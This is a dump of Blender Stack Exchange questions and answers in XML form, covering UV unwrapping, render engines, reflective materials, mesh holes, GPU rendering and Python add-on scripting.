  <row Id="15676" PostTypeId="1" CreationDate="2014-09-09T01:57:03.747" Score="18" ViewCount="45044" Body="&lt;p&gt;I've built my first 3D model using 2.71.  It consists of several meshes including cylinders a cube and a plane and I've animated one of the parts.  I'm ready to use the UV/Image Editor to export a texture map.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've expanded the 2nd view panel, switched to UV/Image Editor mode.  Returned to the 3d view panel and &lt;em&gt;tried&lt;/em&gt; to select all of the parts using the &lt;kbd&gt;A&lt;/kbd&gt; key, then typed &lt;kbd&gt;U&lt;/kbd&gt; and chose &lt;em&gt;Smart UV Project&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Only one part is unwrapping and I'm stuck.  How do I get all of my parts to unwrap?&lt;/p&gt;&#xA;" OwnerUserId="5949" LastEditorUserId="599" LastEditDate="2014-09-09T02:13:15.920" LastActivityDate="2021-03-07T21:02:27.277" Title="How to unwrap multiple objects?" Tags="&lt;uv&gt;&lt;objects&gt;" AnswerCount="4" CommentCount="7" FavoriteCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="15677" PostTypeId="2" ParentId="15676" CreationDate="2014-09-09T02:09:42.767" Score="19" Body="&lt;p&gt;As of &lt;strong&gt;Blender 2.8x&lt;/strong&gt; there is a new feature called &lt;a href=&quot;https://wiki.blender.org/wiki/Reference/Release_Notes/2.80/Modeling&quot; rel=&quot;nofollow noreferrer&quot;&gt;Multi-Object Editing&lt;/a&gt;, means that entering &lt;em&gt;edit mode&lt;/em&gt; now takes all selected objects into account making operations such as UV unwrapping or recalculating normals possible without manually entering &lt;em&gt;edit mode&lt;/em&gt; on each or writing scripts.&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Select all &lt;em&gt;mesh&lt;/em&gt; objects to unwrap.&lt;/li&gt;&#xA;&lt;li&gt;Switch into &lt;em&gt;edit mode&lt;/em&gt; (&lt;kbd&gt;Tab&lt;/Kbd&gt;) and then unwrap (&lt;kbd&gt;U&lt;/kbd&gt;).&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;Release Notes: &lt;a href=&quot;https://wiki.blender.org/wiki/Reference/Release_Notes/2.80/Modeling&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://wiki.blender.org/wiki/Reference/Release_Notes/2.80/Modeling&lt;/a&gt;&lt;/p&gt;&#xA;&lt;hr /&gt;&#xA;&lt;p&gt;In &lt;strong&gt;Blender 2.7x&lt;/strong&gt; only the active object can be edited in &lt;em&gt;edit mode&lt;/em&gt;. If you have &lt;em&gt;multiple objects&lt;/em&gt; you want to unwrap you can either:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Join them into one object, then unwrap. Select them in object mode and press &lt;kbd&gt;⎈ Ctrl&lt;/kbd&gt;&lt;kbd&gt;J&lt;/kbd&gt;, then unwrap in edit mode (&lt;kbd&gt;U&lt;/kbd&gt;).&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Batch unwrap them as separate objects. In object mode, select the objects you want to project onto the same UV map, then press &lt;kbd&gt;Space&lt;/kbd&gt; and search for one of the scripted projections (&lt;em&gt;Smart UV project&lt;/em&gt;, &lt;em&gt;Lightmap pack&lt;/em&gt;).&lt;/p&gt;&#xA;&lt;p&gt;Note that you wont see the UV maps which are created without going into edit mode, and even then you will only see the UV map for the active object.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="599" LastEditorUserId="31447" LastEditDate="2021-03-07T21:02:27.277" LastActivityDate="2021-03-07T21:02:27.277" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="15679" PostTypeId="2" ParentId="15668" CreationDate="2014-09-09T03:17:03.110" Score="2" Body="&lt;p&gt;How about some &lt;strong&gt;Particles&lt;/strong&gt;?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Create a single Metaball.&#xA;On a separate layer create the text and convert it to mesh (&lt;kbd&gt;Alt&lt;/kbd&gt;&lt;kbd&gt;C&lt;/kbd&gt;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ZyvvG.png&quot; alt=&quot;enter image description here&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/Va7Ht.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On the text object add a particle system.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/9rU3U.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Set the &lt;strong&gt;Physics&lt;/strong&gt; tab to No and in the &lt;strong&gt;Render&lt;/strong&gt; tab  set it to Object and choose your metaball.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/f7U4D.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Go back to the layer with the metaball and you should have your text made of metaballs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/MgrdM.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To see a preview of the particle system press &lt;kbd&gt;Alt&lt;/Kbd&gt;&lt;kbd&gt;A&lt;/kbd&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Wgx7p.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can edit the number, size, randomnes on the particle settings, and to really have fun: enable physics and get wild...&lt;/p&gt;&#xA;" OwnerDisplayName="user1853" LastEditorDisplayName="user1853" LastEditDate="2014-09-09T04:05:43.517" LastActivityDate="2014-09-09T04:05:43.517" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15680" PostTypeId="2" ParentId="15669" CreationDate="2014-09-09T04:33:33.363" Score="23" Body="&lt;h1&gt;Why would there be a glow around bright objects?&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;If the air is clean and transparent the light travels right through it, with no scattering and there is no glow around light sources or bright objects.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/1NScM.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/1NScM.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If there are particles floating in the air, those would get lit by the light source, light gets scattered, hence the perceived glow (think of a foggy night or the smog on a city)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With glass is the same thing: Clean and high quality glass would produce a non significant halo/glow around bright objects, the light would pass through it with very little dispersion. A dirty, scratched or humid glass would show the bright parts of an image with blurred edges caused by dispersion on the surface or the thickness of the glass itself (think a fogged or dirty window, or even a low quality or scratched camera lens)&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;So how do you create a glow then?&lt;/h1&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Option 1&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using the compositor would give you the option of the dirty glass. You can expand the brightess of the bright pixels using a glow node on the rendered image.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/vIGOB.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/vIGOB.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Option 2&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want an environment with suspended particles then you use volume scatter in your world.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/B7DgH.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Maybe a bit exaggerated but just to get the point across.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/dvTiO.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerDisplayName="user1853" LastEditorDisplayName="user1853" LastEditDate="2016-05-24T17:44:19.983" LastActivityDate="2016-05-24T17:44:19.983" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="15681" PostTypeId="1" AcceptedAnswerId="15682" CreationDate="2014-09-09T05:14:01.393" Score="10" ViewCount="18212" Body="&lt;p&gt;I'm new to blender. How do you change the render engine? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;According to this video, the button should be along the top. I've searched google, and the blender documentation with no luck. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.youtube.com/watch?v=H_d7aT39mHQ&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.youtube.com/watch?v=H_d7aT39mHQ&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1026" LastEditorDisplayName="user1853" LastEditDate="2020-01-17T23:31:25.703" LastActivityDate="2020-06-30T03:34:44.530" Title="How to set render engine in blender?" Tags="&lt;cycles-render-engine&gt;&lt;game-engine&gt;&lt;interface&gt;&lt;blender-internal-render-engine&gt;" AnswerCount="1" CommentCount="1" FavoriteCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="15682" PostTypeId="2" ParentId="15681" CreationDate="2014-09-09T05:37:46.743" Score="14" Body="&lt;p&gt;For version 2.8&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Use the render properties section of the scene editor.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/N7803.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/N7803.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There you can find the options that are available in your particular version.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/9ATN9.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/9ATN9.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For versions up to 2.79, you need to be on the info window&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/H3sUl.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;then select your render engine&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/wiWRh.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Note that blender internal and the game engine have been removed starting with version 2.8.&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerDisplayName="user1853" LastEditorDisplayName="user1853" LastEditDate="2020-01-17T23:39:41.630" LastActivityDate="2020-01-17T23:39:41.630" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="15683" PostTypeId="1" AcceptedAnswerId="15684" CreationDate="2014-09-09T05:57:41.697" Score="33" ViewCount="60907" Body="&lt;p&gt;Brand new to blender, and I'm trying to make a metallic object that is reflective. &#xA;There are lots of tutorials on youtube, however none of them are compatible with blender 2.71 with the cycles render. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here are the tutorials I have tried:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.youtube.com/watch?v=H_d7aT39mHQ&quot; rel=&quot;noreferrer&quot;&gt;https://www.youtube.com/watch?v=H_d7aT39mHQ&lt;/a&gt;&lt;br&gt;&#xA;&lt;a href=&quot;https://www.youtube.com/watch?v=d1QLNPPOsR0&quot; rel=&quot;noreferrer&quot;&gt;https://www.youtube.com/watch?v=d1QLNPPOsR0&lt;/a&gt;&lt;br&gt;&#xA;&lt;a href=&quot;https://www.youtube.com/watch?v=RKj_Rc8UA7E&quot; rel=&quot;noreferrer&quot;&gt;https://www.youtube.com/watch?v=RKj_Rc8UA7E&lt;/a&gt;  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;All of these tutorials have a 'transparency' and a 'mirror' option in the outliner menu that I just don't seem to have. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I make this object reflective? Am I missing plugins or some other menu? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/3mBRn.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1026" LastEditorUserId="29" LastEditDate="2014-09-09T06:29:44.270" LastActivityDate="2020-02-10T12:43:57.163" Title="Make a gold reflective object" Tags="&lt;cycles-render-engine&gt;&lt;materials&gt;" AnswerCount="3" CommentCount="0" FavoriteCount="12" ContentLicense="CC BY-SA 3.0" />
  <row Id="15684" PostTypeId="2" ParentId="15683" CreationDate="2014-09-09T05:59:05.743" Score="39" Body="&lt;p&gt;To do this in cycles, you'll want a &lt;a href=&quot;https://docs.blender.org/manual/en/latest/render/shader_nodes/shader/glossy.html#glossy-bsdf&quot; rel=&quot;nofollow noreferrer&quot;&gt;glossy shader&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can do this from the properties menu like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/dYY4I.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But this actually will create the corresponding material nodes in the &lt;a href=&quot;https://docs.blender.org/manual/en/latest/editors/shader_editor/index.html?#shader-editor&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;em&gt;material node editor&lt;/em&gt;&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/CyCyc.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/CyCyc.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;At least in cycles, the node editor is a lot easier and faster to work with directly once you get used to it, allowing you to create more complex setups quickly:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/8LiUt.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See &lt;a href=&quot;https://docs.blender.org/manual/en/latest/render/shader_nodes/index.html#shader-nodes&quot; rel=&quot;nofollow noreferrer&quot;&gt;the manual&lt;/a&gt; for a complete list and description of all cycles nodes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To help make it look more realistic, use a non-uniform/textured environment to avoid flat looking reflections:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/LJcE2.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="15924" LastEditDate="2020-02-10T12:43:57.163" LastActivityDate="2020-02-10T12:43:57.163" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="15685" PostTypeId="2" ParentId="15683" CreationDate="2014-09-09T06:07:29.627" Score="7" Body="&lt;p&gt;Shiny objects are tricky.&#xA;The materials could be just a glossy shader.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/NtpEZ.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But having a reflective material is just half the battle.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If there are no reflections on your object, it will look a bit dull.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/nwnqb.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Try adding a big surface outside of the camera view that has some kind of emitter (or just white) material.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Look for images of gold, metal and glass objects (or cars) you'll realize soon enough that what matters is what's being reflected on to them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ODkN6.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/e8YFS.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerDisplayName="user1853" LastEditorDisplayName="user1853" LastEditDate="2014-09-09T06:24:36.047" LastActivityDate="2014-09-09T06:24:36.047" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15686" PostTypeId="1" CreationDate="2014-09-09T06:59:08.047" Score="7" ViewCount="1046" Body="&lt;p&gt;I'd like to have automatic particle emission when rigid body objects collide with others (I have many objects). Not that I can find it but I've read of an option under &lt;code&gt;children&lt;/code&gt; that can spawn others when a particle collides, however I haven't seen anything regarding rigid body collision events.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can this be done out of the box? With a plugin? Or, last resort, with a small amount of scripting?&lt;/p&gt;&#xA;" OwnerUserId="1713" LastActivityDate="2014-11-30T20:04:58.987" Title="Emitting sparks or dust at rigid body collisions" Tags="&lt;particles&gt;&lt;rigid-body-simulation&gt;" AnswerCount="2" CommentCount="1" FavoriteCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="15687" PostTypeId="1" AcceptedAnswerId="15688" CreationDate="2014-09-09T07:10:08.160" Score="25" ViewCount="116357" Body="&lt;p&gt;How do I make a hole in an object created by me? Please help, youtube tutorials didn't help at all. Hope the image help.&lt;img src=&quot;https://i.stack.imgur.com/swui3.png&quot; alt=&quot;I need to put a hole in the selected face.&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="5768" LastActivityDate="2020-04-29T21:10:15.483" Title="Making holes in a mesh" Tags="&lt;mesh&gt;" AnswerCount="3" CommentCount="2" FavoriteCount="11" ContentLicense="CC BY-SA 3.0" />
  <row Id="15688" PostTypeId="2" ParentId="15687" CreationDate="2014-09-09T07:31:02.750" Score="52" Body="&lt;p&gt;You could use a couple different methods:&lt;/p&gt;&#xA;&lt;h1&gt;&lt;a href=&quot;https://docs.blender.org/manual/en/latest/modeling/modifiers/generate/booleans.html&quot; rel=&quot;noreferrer&quot;&gt;Boolean modifier&lt;/a&gt;:&lt;/h1&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Add a boolean modifier on the object you want to cut a hole in,&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Create an object to &amp;quot;subtract&amp;quot; from the main object&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Set that object in the boolean modifier. You can press &lt;kbd&gt;E&lt;/kbd&gt; while hovering over the object selection field to set the field by clicking on an object in the 3D view.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/hCMYj.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;h1&gt;&lt;a href=&quot;https://docs.blender.org/manual/en/latest/modeling/meshes/editing/subdividing/knife.html#knife-project&quot; rel=&quot;noreferrer&quot;&gt;knife project tool&lt;/a&gt;:&lt;/h1&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Add a circle or some other object to define the outline of the hole&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;With the circle selected, &lt;kbd&gt;⇧ Shift&lt;/kbd&gt; select the object you want to cut a hole in and enter edit mode (&lt;kbd&gt;↹ Tab&lt;/kbd&gt;)&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Select the faces you want to cut, then click &lt;em&gt;knife project&lt;/em&gt; in the &lt;em&gt;tool shelf&lt;/em&gt;. If you want to cut all the way through the mesh, enable &lt;em&gt;Cut through&lt;/em&gt; in the redo panel (&lt;kbd&gt;F6&lt;/kbd&gt;)&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Then select the newly cut edges with &lt;kbd&gt;⎇ Alt&lt;/kbd&gt;&lt;kbd&gt;⇧ Shift&lt;/kbd&gt;&lt;kbd&gt;&lt;img src=&quot;https://i.stack.imgur.com/LPwD4.png&quot; alt=&quot;RMB&quot; title=&quot;Right Mouse Button&quot; /&gt; RMB&lt;/kbd&gt; and press &lt;kbd&gt;W&lt;/kbd&gt;&lt;em&gt;&amp;gt; Bridge edge loops&lt;/em&gt; to connect the ends of the hole.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/hciYJ.gif&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;h1&gt;&lt;a href=&quot;https://docs.blender.org/manual/en/latest/modeling/meshes/editing/faces.html#intersect&quot; rel=&quot;noreferrer&quot;&gt;Face intersect tool:&lt;/a&gt;&lt;/h1&gt;&#xA;&lt;p&gt;&lt;em&gt;This feature will be &lt;a href=&quot;https://archive.blender.org/wiki/index.php/Dev:Ref/Release_Notes/2.72/Modeling/&quot; rel=&quot;noreferrer&quot;&gt;added in 2.72&lt;/a&gt;, but until then you can use it in the &lt;a href=&quot;https://blender.stackexchange.com/q/3438/599&quot;&gt;latest development builds&lt;/a&gt;.&lt;/em&gt;&lt;/p&gt;&#xA;&lt;p&gt;This is essentially like the boolean modifier, except it works in edit mode.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/sKcyY.gif&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;sub&gt;&lt;a href=&quot;https://www.youtube.com/watch?v=-rwvxusuJXU&amp;amp;feature=youtu.be&amp;amp;hd=1&quot; rel=&quot;noreferrer&quot;&gt;Here&lt;/a&gt; is a nice video made by the author of this feature, explaining how it works.&lt;/sub&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2020-04-29T21:10:15.483" CommentCount="7" ContentLicense="CC BY-SA 4.0" />
  <row Id="15689" PostTypeId="1" CreationDate="2014-09-09T09:40:39.553" Score="0" ViewCount="1272" Body="&lt;p&gt;My blender system tab shows CAICOS in compute drop down...when i render with graphics processing unit compute.my render screen. is blank.but with CPU its rendering.I do not n have any error messages in console window.I have ATI 6490m graphics card with memory 1gb&lt;/p&gt;&#xA;" OwnerUserId="5954" LastActivityDate="2014-09-09T10:38:43.333" Title="Cycles does not render with GPU" Tags="&lt;cycles-render-engine&gt;" AnswerCount="1" CommentCount="4" ClosedDate="2014-09-09T15:33:43.310" ContentLicense="CC BY-SA 3.0" />
  <row Id="15690" PostTypeId="2" ParentId="15687" CreationDate="2014-09-09T10:13:44.987" Score="-4" Body="&lt;p&gt;You can also use curves for modelling the base mesh.then use the curve with edit mode then add a bezier circle to make a hole.&lt;/p&gt;&#xA;" OwnerUserId="5954" LastActivityDate="2014-09-09T10:13:44.987" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="15691" PostTypeId="2" ParentId="15689" CreationDate="2014-09-09T10:38:43.333" Score="0" Body="&lt;p&gt;Make sure, that you are running on newest drivers.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On linux run:&#xA;CYCLES_OPENCL_TEST=all ./blender&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On windows:&#xA;set CYCLES_OPENCL_TEST=all&#xA;then run blender&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Switch to cycles, go to system settings and select your graphic card.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The performance is limited and initial compiling of the kernel can take few minutes. &lt;a href=&quot;http://devgurus.amd.com/thread/160162?start=225&amp;amp;tstart=0&quot; rel=&quot;nofollow&quot;&gt;But according to this AMD statement&lt;/a&gt;, there is a fix slowly coming in. No words on performance improvements though.&lt;/p&gt;&#xA;" OwnerUserId="518" LastActivityDate="2014-09-09T10:38:43.333" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="15692" PostTypeId="2" ParentId="6304" CreationDate="2014-09-09T11:03:12.330" Score="13" Body="&lt;p&gt;Select the menu item &lt;em&gt;Mesh -&gt; Cleanup -&gt; Delete Loose, options for verts/edges/faces&lt;/em&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Blender 2.70 and later.&lt;/p&gt;&#xA;" OwnerUserId="55" LastEditorUserId="599" LastEditDate="2015-02-02T20:19:39.710" LastActivityDate="2015-02-02T20:19:39.710" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15693" PostTypeId="1" CreationDate="2014-09-09T11:38:36.263" Score="2" ViewCount="874" Body="&lt;p&gt;I am writing an addon popup that shows all the current shortcuts. This is context sensitive and I have it mostly done. However, I am not able to get much information from the other python addons.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Below is some of CoDEManX's code that collects a lot of the info I need.&#xA;However, it does not seem to collect anything for Python addons.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to collect the same info that the tooltips do from within python?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;mod, opname = idname.split(&quot;.&quot;)&#xA;idname_c = &quot;{!s}_OT_{!s}&quot;.format(mod.upper(), opname)&#xA;idtype = getattr(bpy.types, idname_c)&#xA;description = idtype.bl_rna.description&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="5899" LastEditorUserId="1363" LastEditDate="2014-09-11T19:34:27.300" LastActivityDate="2014-09-12T18:04:45.753" Title="Get tooltips data from python?" Tags="&lt;python&gt;" AnswerCount="3" CommentCount="12" ContentLicense="CC BY-SA 3.0" />
  <row Id="15694" PostTypeId="2" ParentId="8327" CreationDate="2014-09-09T11:59:01.597" Score="1" Body="&lt;p&gt;I have tried to get PySide working inside Blender, but i have had trouble getting PySide working correctly in python 3.4 standalone, so i gave up on PySide and moved to PyQt4.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First of all, i have it working on mac OSX 10.8 with blender 2.71. but i would say the process below would be almost the same on linux, but for windows may be easier, as you can download QT4 and PyQT4 binaries&lt;/p&gt;&#xA;&#xA;&lt;p&gt;i would suggest setting up a Virtual environment, as i previously had issues with different versions of python running on my machine, and it mucked up the install path, and version of python used to compile PyQt.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://pypi.python.org/pypi/virtualenv&quot; rel=&quot;nofollow&quot;&gt;https://pypi.python.org/pypi/virtualenv&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You need to make sure you install PyQT with the exact version of python that blender is using (2.71 uses 3.4, 2.70 uses 3.3)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I used the following versions.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Python 3.4.1&lt;/li&gt;&#xA;&lt;li&gt;Qt 4.8.6  &lt;/li&gt;&#xA;&lt;li&gt;pyQT 4.11.1 &lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Once you have the correct python version, and virtualenv set up and working this is the code i use inside blender to open a PyQT window.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import sys &#xA;sys.path.append('*venv directory* /py3.4/lib/python3.4/site-packages')&#xA;import bpy&#xA;from PyQt4 import QtGui, QtCore &#xA;&#xA;class ExampleQtWindow(QtGui.QDialog): &#xA;    def __init__(self): &#xA;        super(ExampleQtWindow, self).__init__() &#xA;        self.mainLayout = QtGui.QVBoxLayout(self) &#xA;        self.buttonLayout = QtGui.QHBoxLayout() &#xA;        self.CreateButton = QtGui.QPushButton(&quot;print info&quot;) &#xA;        QtCore.QObject.connect(self.CreateButton, QtCore.SIGNAL('clicked()'), self.testCommand) &#xA;        self.mainLayout.addWidget(self.CreateButton) &#xA;        self.setLayout(self.mainLayout) &#xA;&#xA;    def testCommand(self): &#xA;        print(bpy.data.objects) &#xA;&#xA;&#xA;# register class stuff &#xA;class PyQtEvent(): &#xA;    _timer = None &#xA;    _window = None &#xA;&#xA;    def execute(self): &#xA;        self._application = QtGui.QApplication.instance() &#xA;        if self._application is None: &#xA;            self._application = QtGui.QApplication(['']) &#xA;            self._eventLoop = QtCore.QEventLoop() &#xA;            self.window = ExampleQtWindow() &#xA;            self.window.show() &#xA;&#xA;print(&quot;running in background&quot;) &#xA;new_window = PyQtEvent() &#xA;new_window.execute()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="5838" LastEditorUserId="5838" LastEditDate="2014-09-09T14:37:24.380" LastActivityDate="2014-09-09T14:37:24.380" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
